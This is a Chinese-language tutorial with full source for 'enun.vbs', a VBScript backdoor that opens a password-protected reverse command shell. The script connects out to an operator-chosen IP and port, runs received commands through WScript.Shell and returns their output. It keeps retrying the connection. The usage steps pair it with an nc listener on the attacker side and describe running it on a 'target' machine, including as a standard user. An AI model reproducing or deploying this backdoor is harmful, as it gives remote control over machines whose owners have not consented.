VBScript 打造自己的远程CMDShell附使用教程
使用方法:
1,控制:nc.exe,执行:nc -l -v -p 1234;
2,目标:cscript.exe enun.vbs IP Port;
3,密码:enun。
几点说明:
1,退出 SHELL,请输入 “exIT”,不要用 “Ctrl + C”,这样的话只能等目标重启或手动运行后门才能连接;
2,Windows 7 等环境下普通标准用户也能使用,但是获取的权限相对有限。
3,内部命令及管道使用如下图:
相关下载:
1,视频演示
2,vb6controls
enun.vbs 源码:
复制代码 代码如下:
'--------------------------------------------------------------------------
' Copyright (c) lxzzr. All rights reserved.
' ScriptName: enun.vbs
' Creation Date: 28/8/2012
' Last Modified: 28/8/2012
' Author: lxzzr, www.enun.net
' E-mail: lxzzr@21cn.COM
' usage: Cscript.exe //noLOGo enun.vbs IP Port
'--------------------------------------------------------------------------
On Error Resume Next
Public SocketObj, ExecObj, ShellObj
RemoteHost = Wscript.arguments(0)
RemotePort = Wscript.arguments(1)
Do
do while (SocketObj.state >
7)
WScript.Echo "Try Connect to " &
RemoteHost &
":" &
RemotePort &
" ..."
Set SocketObj = WScript.CreateObject("MSWinsock.Winsock")
SocketObj.PRotocol = 0
SocketObj.RemoteHost = RemoteHost
SocketObj.RemotePort = RemotePort
SocketObj.Connect
WScript.Sleep 3000
Loop
WScript.Echo "Connected to server."
SocketObj.SendData SocketObj.LocalHostName &
" is Connected, Enter Password: "
Do While (SocketObj.BytesReceived = 0)
WScript.Sleep 10
Loop
'密码验证
SocketObj.GetData Authkey, vbString
If Split(Authkey, chr(10), -1, 1)(0) = "enun" Then
Set ShellObj = CreateObject("WScript.Shell")
srevData = " "
SocketObj.SendData "Logon Success, Welcome!" &
chr(13) &
chr(10)
'循环等待执行命令
Do
Set ExecObj = ShellObj.Exec(Split(sRevData, chr(10), -1, 1)(0))
SocketObj.SendData ExecObj.StdOut.ReadAll
SocketObj.SendData ExecObj.StdErr.ReadAll
If sRevData >
"" Then
SocketObj.SendData chr(10) &
"[" &
SocketObj.LocalHostName &
"@" &
"enun]#: "
End If
If Left(sRevData, 4) = "exit" Then
SocketObj.Close
Exit Do
End If
SocketObj.GetData sRevData, vbString
WScript.Sleep 1000
Loop
Else
LockoutBadCount = LockoutBadCount + 1
SocketObj.SendData "Logon Failure: Unknown user name or bad password." &
chr(13) &
chr(10)
WScript.Sleep 1000
End If
'账户策略
If (LockoutBadCount >
3) Then
SocketObj.SendData "The User Account is locked!" &
chr(13) &
chr(10)
WScript.Sleep 1000
SocketObj.Close
LockoutBadCount = 0
WScript.Sleep 600*1000
End If
Loop
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